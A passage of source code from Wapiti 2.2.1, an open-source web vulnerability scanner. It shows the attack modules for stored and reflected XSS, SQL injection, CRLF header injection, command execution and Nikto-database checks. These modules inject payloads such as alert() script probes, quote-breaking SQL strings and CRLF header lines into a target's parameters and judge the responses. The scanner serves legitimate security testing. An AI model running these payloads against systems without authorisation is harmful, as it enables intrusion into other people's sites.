_("with"), attack_url else: end = self.GET_XSS[code].index(code) - 1 start = self.GET_XSS[code].rfind("&", 0, end) if start == -1: start = self.GET_XSS[code].rfind("?", 0, end) k = self.GET_XSS[code][start+1:end] print _("Found permanent XSS in"), url print " " + _("with"), attack_url.replace(k + "=", self.RED + k + self.STD + "=") self.reportGen.logVulnerability(Vulnerability.XSS, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, "", _("Found permanent XSS in") + \ " " + url + " " + \ _("with") + " " + self.HTTP.escape(attack_url)) break headers = {"Accept": "text/plain"} if self.doPOST == 1: for code in self.POST_XSS.keys(): if data.find(code) >= 0: for k, v in self.POST_XSS[code][1].items(): if v == code: tmp = self.POST_XSS[code][1].copy() for xss in self.independant_payloads: tmp[k] = xss.replace("__XSS__", code) try: self.HTTP.send(self.POST_XSS[code][0], self.HTTP.uqe(tmp), headers) dat = self.HTTP.send(url).getPage() except socket.timeout: dat = "" if self.validXSS(dat, code): self.reportGen.logVulnerability(Vulnerability.XSS, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, "", _("Found permanent XSS attacked by") + " " + self.POST_XSS[code][0] + \ " " + _("with fields") + " " + self.HTTP.encode(tmp)) print _("Found permanent XSS in"), url if self.color ==1: print " " + _("attacked by"), self.POST_XSS[code][2], _("with fields"), \ self.HTTP.uqe(tmp).replace(k + "=", self.RED + k + self.STD + "=") else: print " " + _("attacked by"), self.POST_XSS[code][2], _("with fields"), self.HTTP.uqe(tmp) if url != self.POST_XSS[code][0]: print " " + _("injected from ") + self.POST_XSS[code][0] break def validXSS(self,page,code): soup = BeautifulSoup.BeautifulSoup(page) for x in soup.findAll("script"): if x.string != None and x.string in [t.replace("__XSS__", code) for t in self.script_ok]: return True elif x.has_key("src"): if x["src"] == "http://__XSS__/x.js".replace("__XSS__", code): return True return False def loadRequire(self, obj = []): self.deps = obj for x in self.deps: if x.name == "xss": self.GET_XSS = x.GET_XSS self.POST_XSS = x.POST_XSS wapiti-2.2.1/src/attack/mod_nikto.py0000644000000000000000000001272511316442105016106 0ustar rootroot#!/usr/bin/env python from net import BeautifulSoup from net.httplib2 import ServerNotFoundError from attack import Attack from vulnerability import Vulnerability from vulnerabilitiesdescriptions import VulnerabilitiesDescriptions as VulDescrip import urllib2, csv, re import socket class mod_nikto(Attack): """ This class implements a Nikto attack """ nikto_db = [] name = "nikto" CONFIG_FILE = "nikto_db" doGET = False doPOST = False def __init__(self, HTTP, xmlRepGenerator): Attack.__init__(self, HTTP, xmlRepGenerator) try: fd = open(self.CONFIG_DIR + "/" + self.CONFIG_FILE) reader = csv.reader(fd) self.nikto_db = [l for l in reader if l!=[] and l[0].isdigit()] fd.close() except IOError: try: print _("Problem with local nikto database.") print _("Downloading from the web...") page = urllib2.urlopen("http://cirt.net/nikto/UPDATES/2.1.0/db_tests") csv.register_dialect("nikto", quoting=csv.QUOTE_ALL, doublequote=False, escapechar="\\") reader = csv.reader(page, "nikto") self.nikto_db = [l for l in reader if l!=[] and l[0].isdigit()] page.close() fd = open(self.CONFIG_DIR + "/" + self.CONFIG_FILE, "w") writer = csv.writer(fd) writer.writerows(self.nikto_db) fd.close() except socket.timeout: print _("Error downloading Nikto database") def attack(self, urls, forms): for l in self.nikto_db: match = match_or = match_and = False fail = fail_or = False l[3] = l[3].replace("@CGIDIRS", "/cgi-bin/") l[3] = l[3].replace("@ADMIN", "/admin/") l[3] = l[3].replace("@NUKE", "/modules/") l[3] = l[3].replace("@PHPMYADMIN", "/phpMyAdmin/") l[3] = l[3].replace("@POSTNUKE", "/postnuke/") if l[3][0] == "@": continue if l[3][0] != "/": l[3] = "/" + l[3] if l[4] == "GET": resp = self.HTTP.send("http://" + self.HTTP.server + l[3]) elif l[4] == "POST": resp = self.HTTP.send("http://" + self.HTTP.server + l[3], l[11]) else: resp = self.HTTP.send("http://" + self.HTTP.server + l[3], l[11], method = l[4]) page, code = resp.getPageCode() encoding = BeautifulSoup.BeautifulSoup(page).originalEncoding page = unicode(page, encoding, "ignore") raw = " ".join([x + ": " + y for x,y in resp.getInfo().items()]) raw += page # First condition (match) if len(l[5]) == 3 and l[5].isdigit(): if code == l[5]: match = True else: if raw.find(l[5]) > -1: match = True # Second condition (or) if l[6] != "": if len(l[6]) == 3 and l[6].isdigit(): if code == l[6]: match_or = True else: if raw.find(l[6]) > -1: match_or = True # Third condition (and) if l[7] != "": if len(l[7]) == 3 and l[7].isdigit(): if code == l[7]: match_and = True else: if raw.find(l[7]) > -1: match_and = True else: match_and = True # Fourth condition (fail) if l[8] != "": if len(l[8]) == 3 and l[8].isdigit(): if code == l[8]: fail = True else: if raw.find(l[8]) > -1: fail = True # Fifth condition (or) if l[9] != "": if len(l[9]) == 3 and l[9].isdigit(): if code == l[9]: fail_or = True else: if raw.find(l[9]) > -1: fail_or = True if ((match or match_or) and match_and) and not (fail or fail_or): print "http://" + self.HTTP.server + l[3] print l[10] refs = [] if l[1] != "0": refs.append("http://osvdb.org/show/osvdb/" + l[1]) # CERT m = re.search("(CA\-[0-9]{4}-[0-9]{2})", l[10]) if m != None: refs.append("http://www.cert.org/advisories/" + m.group(0) + ".html") # SecurityFocus m = re.search("BID\-([0-9]{4})", l[10]) if m != None: refs.append("http://www.securityfocus.com/bid/" + m.group(1)) # Mitre.org m = re.search("((CVE|CAN)\-[0-9]{4}-[0-9]{4})", l[10]) if m != None: refs.append("http://cve.mitre.org/cgi-bin/cvename.cgi?name=" + m.group(0)) # CERT Incidents m = re.search("(IN\-[0-9]{4}\-[0-9]{2})", l[10]) if m != None: refs.append("http://www.cert.org/incident_notes/" + m.group(0) + ".html") # Microsoft Technet m = re.search("(MS[0-9]{2}\-[0-9]{3})", l[10]) if m != None: refs.append("http://www.microsoft.com/technet/security/bulletin/" + m.group(0) + ".asp") info = l[10] if refs != []: print _("References:") +"\n " + "\n ".join(refs) info += "\n" + _("References:") + "\n" info += "\n".join(['' + x + '' for x in refs]) print if l[4] == "GET": self.reportGen.logVulnerability(Vulnerability.NIKTO, Vulnerability.HIGH_LEVEL_VULNERABILITY, "http://" + self.HTTP.server + l[3], "", info) elif l[4] == "POST": self.reportGen.logVulnerability(Vulnerability.NIKTO, Vulnerability.HIGH_LEVEL_VULNERABILITY, "http://" + self.HTTP.server + l[3], l[11], info) else: self.reportGen.logVulnerability(Vulnerability.NIKTO, Vulnerability.HIGH_LEVEL_VULNERABILITY, "http://" + self.HTTP.server + l[3], l[4] + " " + l[11], info) wapiti-2.2.1/src/attack/vulnerabilitiesdescriptions.py0000644000000000000000000000020511316442105021741 0ustar rootrootclass VulnerabilitiesDescriptions: ERROR_500 = _("500 HTTP Error code") + "." ERROR_500_DESCRIPTION = _("500 Error description") wapiti-2.2.1/src/attack/__init__.py0000644000000000000000000000053711316442105015660 0ustar rootroot__all__ = ["Attack", "mod_crlf", "mod_exec", "mod_file", "mod_sql", "mod_xss", "mod_backup", "mod_htaccess", "mod_blindsql", "mod_permanentxss", "mod_nikto"] modules = ["mod_crlf", "mod_exec", "mod_file", "mod_sql", "mod_xss", "mod_backup", "mod_htaccess", "mod_blindsql", "mod_permanentxss", "mod_nikto"] wapiti-2.2.1/src/attack/mod_crlf.py0000644000000000000000000001022511316442105015701 0ustar rootrootimport socket from attack import Attack #import base from vulnerability import Vulnerability import httplib # Wapiti 2.2.1 - A web application vulnerability scanner # Wapiti Project (http://wapiti.sourceforge.net) # Copyright (C) 2008 Nicolas Surribas # # David del Pozo # Alberto Pastor # Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA class mod_crlf(Attack): """ This class implements a CRLF attack """ name = "crlf" def __init__(self, HTTP, xmlRepGenerator): Attack.__init__(self, HTTP, xmlRepGenerator) # Won't work with PHP >= 4.4.2 def attackGET(self, page, dict, headers = {}): """This method performs the CRLF attack with method GET""" payload="http://www.google.fr\r\nWapiti: 2.2.1 version" if dict == {}: # Do not attack application-type files if not headers.has_key("content-type"): # Sometimes there's no content-type... so we rely on the document extension if (page.split(".")[-1] not in self.allowed) and page[-1] != "/": return elif headers["content-type"].find("text") == -1: return err = "" url = page + "?" + payload if url not in self.attackedGET: if self.verbose == 2: print "+ " + page + "?http://www.google.fr\\r\\nWapiti: 2.2.1 version" try: if self.HTTP.send(url).getInfo().has_key('wapiti'): self.reportGen.logVulnerability(Vulnerability.CRLF, Vulnerability.HIGH_LEVEL_VULNERABILITY, page, payload, err + " " + _("(QUERY_STRING)")) print _("CRLF Injection (QUERY_STRING) in"), page print " " + _("Evil url") + ":", url except socket.timeout: self.reportGen.logVulnerability(Vulnerability.RES_CONSUMPTION, Vulnerability.MEDIUM_LEVEL_VULNERABILITY, page, payload, err + " " + _("(QUERY_STRING)")) print _("Timeout (QUERY_STRING) in"), page print " " + _("caused by") + ":", url except httplib.BadStatusLine: #print "Error: The server did not understand this request" pass self.attackedGET.append(url) else: for k in dict.keys(): err = "" tmp = dict.copy() tmp[k] = payload url = page + "?" + self.HTTP.encode(tmp, headers["link_encoding"]) if url not in self.attackedGET: if self.verbose == 2: print "+ " + url try: if self.HTTP.send(url).getInfo().has_key('wapiti'): err = _("CRLF Injection") self.reportGen.logVulnerability(Vulnerability.CRLF, Vulnerability.HIGH_LEVEL_VULNERABILITY, page, self.HTTP.encode(tmp, headers["link_encoding"]), err + " (" + k + ")") if self.color == 0: print err, "(" + k + ") " + _("in"), page print " " + _("Evil url") + ":", url else: print err, ":", url.replace(k + "=", self.RED + k + self.STD + "=") except socket.timeout: self.reportGen.logVulnerability(Vulnerability.RES_CONSUMPTION, Vulnerability.MEDIUM_LEVEL_VULNERABILITY, page, self.HTTP.encode(tmp, headers["link_encoding"]), err + " (" + k + ")") print _("Timeout") + " (" + k + ") " + _("in"), page print " " + _("caused by") + ":", url except httplib.BadStatusLine: print _("Error: The server did not understand this request") self.attackedGET.append(url) wapiti-2.2.1/src/attack/mod_sql.py0000644000000000000000000002230711316442105015556 0ustar rootrootimport socket import re from attack import Attack from vulnerability import Vulnerability from vulnerabilitiesdescriptions import VulnerabilitiesDescriptions as VulDescrip # Wapiti 2.2.1 - A web application vulnerability scanner # Wapiti Project (http://wapiti.sourceforge.net) # Copyright (C) 2008 Nicolas Surribas # # David del Pozo # Alberto Pastor # Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA class mod_sql(Attack): """ This class implements an SQL Injection attack """ TIME_TO_SLEEP = 6 name = "sql" def __init__(self, HTTP, xmlRepGenerator): Attack.__init__(self, HTTP, xmlRepGenerator) def __findPatternInResponse(self, data): if data.find("You have an error in your SQL syntax") >= 0: return _("MySQL Injection") if data.find("supplied argument is not a valid MySQL") > 0: return _("MySQL Injection") if data.find("[Microsoft][ODBC Microsoft Access Driver]") >= 0: return _("Access-Based SQL Injection") if data.find("[Microsoft][ODBC SQL Server Driver]") >= 0: return _("MSSQL-Based Injection") if data.find('Microsoft OLE DB Provider for ODBC Drivers error') >= 0: return _("MSSQL-Based Injection") if data.find("Microsoft OLE DB Provider for ODBC Drivers") >= 0: return _("MSSQL-Based Injection") if data.find("java.sql.SQLException: Syntax error or access violation") >= 0: return _("Java.SQL Injection") if data.find("PostgreSQL query failed: ERROR: parser:") >= 0: return _("PostgreSQL Injection") if data.find("XPathException") >= 0: return _("XPath Injection") if data.find("supplied argument is not a valid ldap") >= 0 or data.find("javax.naming.NameNotFoundException") >= 0: return _("LDAP Injection") if data.find("DB2 SQL error:") >= 0: return _("DB2 Injection") if data.find("Dynamic SQL Error") >= 0: return _("Interbase Injection") if data.find("Sybase message:") >= 0: return _("Sybase Injection") ora_test = re.search("ORA-[0-9]{4,}", data) if ora_test != None: return _("Oracle Injection") + " " + ora_test.group(0) return "" def setTimeout(self, timeout): self.TIME_TO_SLEEP = str(1 + int(timeout)) def attackGET(self, page, dict, headers = {}): """This method performs the SQL Injection attack with method GET""" # about this payload : http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string payload = "\xBF'\"(" vuln_found = 0 if dict == {}: # Do not attack application-type files if not headers.has_key("content-type"): # Sometimes there's no content-type... so we rely on the document extension if (page.split(".")[-1] not in self.allowed) and page[-1] != "/": return elif headers["content-type"].find("text") == -1: return err = "" payload = self.HTTP.quote(payload) url = page + "?" + payload if url not in self.attackedGET: if self.verbose == 2: print "+ " + url try: data, code = self.HTTP.send(url).getPageCode() except socket.timeout: # No timeout report here... launch blind sql detection later data = "" code = "408" err = "" else: err = self.__findPatternInResponse(data) if err != "": vuln_found += 1 self.reportGen.logVulnerability(Vulnerability.SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, payload, err + " " + _("(QUERY_STRING)")) print err, _("(QUERY_STRING) in"), page print " " + _("Evil url") + ":", url self.vulnerableGET.append(page + "?" + "__PAYLOAD__") else: if code == "500": self.reportGen.logVulnerability(Vulnerability.SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, payload, VulDescrip.ERROR_500 + "\n" + VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code with") print " " + _("Evil url") + ":", url self.attackedGET.append(url) else: return 1 else: for k in dict.keys(): err = "" tmp = dict.copy() tmp[k] = "__PAYLOAD__" url = page + "?" + self.HTTP.encode(tmp, headers["link_encoding"]).replace("__PAYLOAD__", self.HTTP.quote(payload)) if url not in self.attackedGET: if self.verbose == 2: print "+ "+url try: data, code = self.HTTP.send(url).getPageCode() except socket.timeout: # No timeout report here... launch blind sql detection later data = "" code = "408" err = "" else: err = self.__findPatternInResponse(data) if err != "": vuln_found += 1 self.reportGen.logVulnerability(Vulnerability.SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.encode(tmp, headers["link_encoding"]).replace("__PAYLOAD__", self.HTTP.quote(payload)), err + " (" + k + ")") if self.color == 0: print err, "(" + k + ") " + _("in"), page print " " + _("Evil url") + ":", url else: print err, ":", url.replace(k + "=", self.RED + k + self.STD + "=") tmp[k] = "__PAYLOAD__" self.vulnerableGET.append(page + "?" + self.HTTP.encode(tmp, headers["link_encoding"])) else: if code == "500": self.reportGen.logVulnerability(Vulnerability.SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.encode(tmp, headers["link_encoding"]), VulDescrip.ERROR_500 + "\n" + VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code with") print " " + _("Evil url") + ":", url self.attackedGET.append(url) else: return 1 return vuln_found def attackPOST(self, form): """This method performs the SQL Injection attack with method POST""" payload = "\xbf'\"(" page = form[0] dict = form[1] err = "" vuln_found = 0 for k in dict.keys(): tmp = dict.copy() tmp[k] = payload if (page, tmp) not in self.attackedPOST: headers = {"Accept": "text/plain"} if self.verbose == 2: print "+ " + page print " ", tmp tmp[k] = "__PAYLOAD__" post_data = self.HTTP.encode(tmp, form[3]).replace("__PAYLOAD__",self.HTTP.quote(payload)) try: data, code = self.HTTP.send(page, post_data, headers).getPageCode() except socket.timeout: # No timeout report here... launch blind sql detection later data = "" code = "408" else: err = self.__findPatternInResponse(data) if err != "": vuln_found += 1 self.reportGen.logVulnerability(Vulnerability.SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, page, post_data, err + " " + _("coming from") + " " + form[2]) print err, _("in"), page if self.color == 1: print " " + _("with params") + " =", \ post_data.replace(k + "=", self.RED + k + self.STD + "=") else: print " " + _("with params") + " =", post_data print " " + _("coming from"), form[2] self.vulnerablePOST.append((page, tmp)) tmp[k] = payload else: if code == "500": self.reportGen.logVulnerability(Vulnerability.SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, page, post_data, _("500 HTTP Error code coming from") + " " + form[2] + "\n"+ VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code in"), page print " " + _("with params") + " =", post_data print " " + _("coming from"), form[2] self.attackedPOST.append((page, tmp)) else: return 1 return vuln_found wapiti-2.2.1/src/attack/mod_xss.py0000644000000000000000000003205111316442105015571 0ustar rootroot#!/usr/bin/env python import random import re import socket from net import BeautifulSoup from attack import Attack from vulnerability import Vulnerability from vulnerabilitiesdescriptions import VulnerabilitiesDescriptions as VulDescrip class mod_xss(Attack): """ This class implements a cross site scripting attack """ # magic strings we must see to be sure script is vulnerable to XSS # payloads must be created on those paterns script_ok = [ "alert('__XSS__')", "alert(\"__XSS__\")", "String.fromCharCode(0,__XSS__,1)" ] # simple payloads that doesn't rely on their position in the DOM structure # payloads injected after closing a tag aatibute value (attrval) or in the # content of a tag (text node like beetween

    and

    ) # only trick here must be on character encoding, filter bypassing, stuff like that # form the simplest to the most complex, Wapiti will stop on the first working independant_payloads = [] name = "xss" HTTP = None # two dict for permanent XSS scanning GET_XSS = {} POST_XSS = {} CONFIG_FILE = "xssPayloads.txt" def __init__(self, HTTP, xmlRepGenerator): Attack.__init__(self, HTTP, xmlRepGenerator) self.independant_payloads = self.loadPayloads(self.CONFIG_DIR + "/" + self.CONFIG_FILE) def attackGET(self, page, dict, headers = {}): """This method performs the cross site scripting attack (XSS attack) with method GET""" # page est l'url de script # dict est l'ensembre des variables et leurs valeurs if dict == {}: # Do not attack application-type files if not headers.has_key("content-type"): # Sometimes there's no content-type... so we rely on the document extension if (page.split(".")[-1] not in self.allowed) and page[-1] != "/": return elif headers["content-type"].find("text") == -1: return url = page + "?__XSS__" if url not in self.attackedGET: self.attackedGET.append(url) err = "" code = "".join([random.choice("0123456789abcdefghjijklmnopqrstuvwxyz") for i in range(0,10)]) # don't use upercase as BS make some data lowercase url = page + "?" + code self.GET_XSS[code] = url try: data = self.HTTP.send(url).getPage() except socket.timeout: data = "" if data.find(code) >= 0: payloads = self.generate_payloads(data, code) if payloads != []: self.findXSS(page, {}, "", code, "", payloads, headers["link_encoding"]) else: for k in dict.keys(): err = "" tmp = dict.copy() tmp[k] = "__XSS__" url = page + "?" + self.HTTP.encode(tmp, headers["link_encoding"]) if url not in self.attackedGET: self.attackedGET.append(url) # genere un identifiant unique a rechercher ensuite dans la page code = "".join([random.choice("0123456789abcdefghjijklmnopqrstuvwxyz") for i in range(0,10)]) # don't use upercase as BS make some data lowercase tmp[k] = code url = page + "?" + self.HTTP.encode(tmp, headers["link_encoding"]) self.GET_XSS[code] = url try: data = self.HTTP.send(url).getPage() except socket.timeout: data = "" # on effectue une recherche rapide sur l'indetifiant if data.find(code) >= 0: # identifiant est dans la page, il faut determiner ou payloads = self.generate_payloads(data, code) if payloads != []: self.findXSS(page, tmp, k, code, "", payloads, headers["link_encoding"]) def attackPOST(self, form): """This method performs the cross site scripting attack (XSS attack) with method POST""" headers = {"Accept": "text/plain"} page = form[0] params = form[1] for k in params.keys(): tmp = params log = params.copy() log[k] = "__XSS__" if (page, log) not in self.attackedPOST: self.attackedPOST.append((page, log)) code = "".join([random.choice("0123456789abcdefghjijklmnopqrstuvwxyz") for i in range(0,10)]) # don't use upercase as BS make some data lowercase tmp[k] = code # will only memorize the last used payload (working or not) but the code will always be the good self.POST_XSS[code] = [page, tmp, form[2]] try: data = self.HTTP.send(page, self.HTTP.uqe(tmp, form[3]), headers).getPage() except socket.timeout: data = "" # rapid search on the code to check injection if data.find(code) >= 0: # found, now study where and what is possible payloads = self.generate_payloads(data, code) if payloads != []: self.findXSS(page, tmp, k, code, form[2], payloads, form[3]) # type/name/tag ex: attrval/img/src def study(self, obj, parent=None, keyword="", entries=[]): #if parent==None: # print "Keyword is:",keyword if str(obj).find(keyword) >= 0: if isinstance(obj, BeautifulSoup.Tag): if str(obj.attrs).find(keyword) >= 0: for k, v in obj.attrs: if v.find(keyword) >= 0: #print "Found in attribute value ",k,"of tag",obj.name entries.append({"type":"attrval", "name":k, "tag":obj.name}) if k.find(keyword) >= 0: #print "Found in attribute name ",k,"of tag",obj.name entries.append({"type":"attrname", "name":k, "tag":obj.name}) elif obj.name.find(keyword) >= 0: #print "Found in tag name" entries.append({"type":"tag", "value":obj.name}) else: for x in obj.contents: self.study(x, obj, keyword,entries) elif isinstance(obj, BeautifulSoup.NavigableString): if str(obj).find(keyword) >= 0: #print "Found in text, tag", parent.name entries.append({"type":"text", "parent":parent.name}) def validXSS(self, page, code): if page == None or page == "": return False soup = BeautifulSoup.BeautifulSoup(page) for x in soup.findAll("script"): if x.string != None and x.string in [t.replace("__XSS__", code) for t in self.script_ok]: return True elif x.has_key("src"): if x["src"] == "http://__XSS__/x.js".replace("__XSS__", code): return True return False # generate a list of payloads based on where in the webpage the js-code will be injected def generate_payloads(self, data, code): headers = {"Accept": "text/plain"} soup = BeautifulSoup.BeautifulSoup(data) # il faut garder la page non-retouchee en reserve... e = [] self.study(soup, keyword = code, entries = e) payloads = [] for elem in e: payload = "" # traiter chaque entree au cas par cas # on quitte a la premiere entree exploitable # common situation if elem['type'] == "attrval": #print "tag->"+elem['tag'] #print elem['name'] i0 = data.find(code) #i1=data[:i0].rfind("=") try: i1 = data[:i0].rfind(elem['name']) # stupid unicode errors, must check later except UnicodeDecodeError: continue start = data[i1:i0].replace(" ", "")[len(elem['name']):] if start.startswith("='"): payload="'" if start.startswith('="'): payload='"' if elem['tag'].lower() == "img": payload += "/>" else: payload += ">" # ok let's send the requests for xss in self.independant_payloads: payloads.append(payload + xss.replace("__XSS__", code)) # this should not happen but you never know... elif elem['type'] == "attrname": # name,tag #print "attrname" if code == elem['name']: for xss in self.independant_payloads: payloads.append('>' + xss.replace("__XSS__",code)) elif elem['type'] == "tag": if elem['value'].startswith(code): # use independant payloads, just remove the first character (<) for xss in self.independant_payloads: payloads.append(xss.replace("__XSS__", code)[1:]) else: for xss in self.independant_payloads: payloads.append("/>" + xss.replace("__XSS__", code)) # another common one elif elem['type'] == "text": payload = "" if elem['parent'] == "title": # Oops we are in the head payload = "" for xss in self.independant_payloads: payloads.append(payload + xss.replace("__XSS__", code)) return payloads data = data.replace(code, "none", 1)#reduire la zone de recherche return payloads # Inject the js-code # GET and POST methods here def findXSS(self, page, args, var, code, referer, payloads, encoding=None): headers = {"Accept": "text/plain"} params = args.copy() url = page # ok let's send the requests for payload in payloads: if params == {}: url = page + "?" + self.HTTP.quote(payload) if self.verbose == 2: print "+", url try: dat = self.HTTP.send(url).getPage() except socket.timeout: dat = "" var = "QUERY_STRING" else: params[var] = payload if referer != "": #POST if self.verbose == 2: print "+", page print " ", params try: dat = self.HTTP.send(page, self.HTTP.encode(params, encoding), headers).getPage() except socket.timeout: dat = "" else:#GET url = page + "?" + self.HTTP.encode(params, encoding) if self.verbose == 2: print "+", url try: dat = self.HTTP.send(url).getPage() except socket.timeout: dat = "" if self.validXSS(dat, code): if params != {}: self.reportGen.logVulnerability(Vulnerability.XSS, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.encode(params, encoding), _("XSS") + " (" + var + ")") else: self.reportGen.logVulnerability(Vulnerability.XSS, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, url.split("?")[1], _("XSS") + " (" + var + ")") if referer != "": print _("Found XSS in"), page if self.color == 0: print " " + _("with params") + " =", self.HTTP.encode(params, encoding) else: print " " + _("with params") + " =", self.HTTP.encode(params, encoding).replace(var + "=", self.RED + var + self.STD + "=") print " " + _("coming from"), referer else: if self.color == 0: print _("XSS") + " (" + var + ") " + _("in"), page print " " + _("Evil url") + ":", url else: print _("XSS"), ":", url.replace(var + "=", self.RED + var + self.STD + "=") return True ########################################################## ###### try the same things but with raw characters ####### if params == {}: url = page + "?" + payload if self.verbose == 2: print "+", url try: dat = self.HTTP.send(url).getPage() except socket.timeout: dat = "" var = "QUERY_STRING" else: params[var] = payload if referer != "": #POST if self.verbose == 2: print "+ " + page print " ", params try: dat = self.HTTP.send(page, self.HTTP.uqe(params, encoding), headers).getPage() except socket.timeout: dat = "" else:#GET url = page + "?" + self.HTTP.uqe(params, encoding) if self.verbose == 2: print "+", url try: dat = self.HTTP.send(url).getPage() except socket.timeout: dat = "" if self.validXSS(dat, code): if params != {}: self.reportGen.logVulnerability(Vulnerability.XSS, Vulnerability.LOW_LEVEL_VULNERABILITY, url, self.HTTP.encode(params, encoding), _("Raw XSS") + " (" + var + ")") else: self.reportGen.logVulnerability(Vulnerability.XSS, Vulnerability.LOW_LEVEL_VULNERABILITY, url, url.split("?")[1], _("Raw XSS") + " (" + var + ")") if referer != "": print _("Found raw XSS in"), page if self.color == 0: print " " + _("with params") + " =", self.HTTP.uqe(params, encoding) else: print " " + _("with params") + " =", self.HTTP.uqe(params, encoding).replace(var + "=", self.RED + var + self.STD + "=") print " " + _("coming from"), referer else: if self.color == 0: print _("Raw XSS") + " (" + var + ") " + _("in"), page print " " + _("Evil url") + ":", url else: print _("Raw XSS"), ":", url.replace(var + "=", self.RED + var + self.STD + "=") return True ########################################################## return False wapiti-2.2.1/src/attack/mod_exec.py0000644000000000000000000002205311316442105015701 0ustar rootrootimport socket from attack import Attack from vulnerability import Vulnerability from vulnerabilitiesdescriptions import VulnerabilitiesDescriptions as VulDescrip # Wapiti 2.2.1 - A web application vulnerability scanner # Wapiti Project (http://wapiti.sourceforge.net) # Copyright (C) 2008 Nicolas Surribas # # David del Pozo # Alberto Pastor # Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA class mod_exec(Attack): """ This class implements a command execution attack """ CONFIG_FILE = "execPayloads.txt" name = "exec" def __init__(self, HTTP, xmlRepGenerator): Attack.__init__(self, HTTP, xmlRepGenerator) self.payloads = self.loadPayloads(self.CONFIG_DIR + "/" + self.CONFIG_FILE) def __findPatternInResponse(self, data, cmd, warn): err = "" if data.find("eval()'d code on line ") >= 0 and warn == 0: err = "Warning eval()" warn = 1 if data.find("PATH=") >= 0 and data.find("PWD=") >= 0: err = _("Command execution") cmd = 1 if data.find("Cannot execute a blank command in") >= 0 and warn == 0: err = "Warning exec" warn = 1 if data.find("Fatal error: preg_replace") >= 0 and warn == 0: err = _("preg_replace injection") warn = 1 return err, cmd, warn def attackGET(self, page, dict, headers = {}): """This method performs the command execution with method GET""" if dict == {}: # Do not attack application-type files if not headers.has_key("content-type"): # Sometimes there's no content-type... so we rely on the document extension if (page.split(".")[-1] not in self.allowed) and page[-1] != "/": return elif headers["content-type"].find("text") == -1: return warn = 0 cmd = 0 err500 = 0 for payload in self.payloads: err = "" url = page + "?" + self.HTTP.quote(payload) if url not in self.attackedGET: if self.verbose == 2: print "+ " + url self.attackedGET.append(url) if cmd == 1: continue try: data, code = self.HTTP.send(url).getPageCode() except socket.timeout: data = "" code = "408" err = "" print _("Timeout in"), page print " " + _("caused by") + ":", url self.reportGen.logVulnerability(Vulnerability.RES_CONSUMPTION, Vulnerability.MEDIUM_LEVEL_VULNERABILITY, url, self.HTTP.quote(payload), err + " " + _("(QUERY_STRING)")) else: err, cmd, warn = self.__findPatternInResponse(data, cmd, warn) if err != "": self.reportGen.logVulnerability(Vulnerability.EXEC, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.quote(payload), err + " " + _("(QUERY_STRING)")) print err, _("(QUERY_STRING) in"), page print " " + _("Evil url") + ":", url else: if code == "500" and err500 == 0: err500 = 1 self.reportGen.logVulnerability(Vulnerability.EXEC, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.quote(payload), VulDescrip.ERROR_500 + "\n" + VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code with") print " " + _("Evil url") + ":", url for k in dict.keys(): warn = 0 cmd = 0 err500 = 0 for payload in self.payloads: err = "" tmp = dict.copy() tmp[k] = payload url = page + "?" + self.HTTP.encode(tmp, headers["link_encoding"]) if url not in self.attackedGET: if self.verbose == 2: print "+ " + url self.attackedGET.append(url) if cmd == 1: continue try: data, code = self.HTTP.send(url).getPageCode() except socket.timeout: data = "" code = "408" err = "" print _("Timeout") + " (" + k + ") " + _("in"), page print " " + _("caused by") + ":", url self.reportGen.logVulnerability(Vulnerability.RES_CONSUMPTION, Vulnerability.MEDIUM_LEVEL_VULNERABILITY, url, self.HTTP.encode(tmp, headers["link_encoding"]), err+" ("+k+")") else: err, cmd, warn = self.__findPatternInResponse(data, cmd, warn) if err != "": self.reportGen.logVulnerability(Vulnerability.EXEC, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.encode(tmp, headers["link_encoding"]), err+" ("+k+")") if self.color == 0: print err, "(" + k + ") " + _("in"), page print " " + _("Evil url") + ":", url else: print err, ":", url.replace(k + "=", self.RED 